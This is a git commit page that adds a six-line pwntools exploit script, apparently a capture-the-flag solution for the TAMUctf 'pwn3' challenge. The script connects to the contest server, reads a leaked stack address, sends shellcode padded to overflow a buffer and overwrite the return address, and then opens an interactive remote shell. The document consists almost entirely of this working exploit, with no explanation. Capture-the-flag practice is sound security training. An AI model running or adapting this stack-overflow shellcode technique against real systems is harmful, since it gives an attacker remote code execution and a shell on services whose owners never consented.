Mon, 25 Feb 2019 08:53:54 +0800

7 years ago · 717b17fc78
parent 7728c15b1a
commit 717b17fc78
2 changed files with 6 additions and 0 deletions
--- a/tamu-writeup/pwn3
+++ b/tamu-writeup/pwn3
--- a/tamu-writeup/pwn3wp.py
+++ b/tamu-writeup/pwn3wp.py
@ -0,0 +1,6 @@
+from pwn import *
+sh = remote("pwn.tamuctf.com", 4323)
+p = p32(int(sh.recvline()[-12:-2], 16))
+pld = asm(shellcraft.sh()).ljust(0x12a + 4, 'a') + p
+sh.sendline(pld)
+sh.interactive()